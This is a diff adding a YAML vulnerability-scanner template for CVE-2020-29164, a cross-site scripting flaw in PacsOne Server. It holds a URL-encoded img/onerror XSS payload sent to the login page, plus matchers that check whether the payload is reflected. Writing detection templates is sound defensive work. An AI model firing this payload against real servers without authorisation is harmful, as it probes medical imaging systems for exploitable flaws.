Create CVE-2020-29164.yaml

cves/2020/CVE-2020-29164.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-29164
+
+info:
+  name: PacsOne Server XSS
+  description: PacsOne Server (PACS Server In One Box) below 7.1.1 is affected by cross-site scripting (XSS). 
+  author: geeknik
+  severity: medium
+  tags: pacsone,xss,cve,cve2020
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/Pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 301
+          - 302
+        negative: true
+           
+      - type: word
+        words:
+          - "<img src="" onerror="alert(1);">1</img>"
+        part: body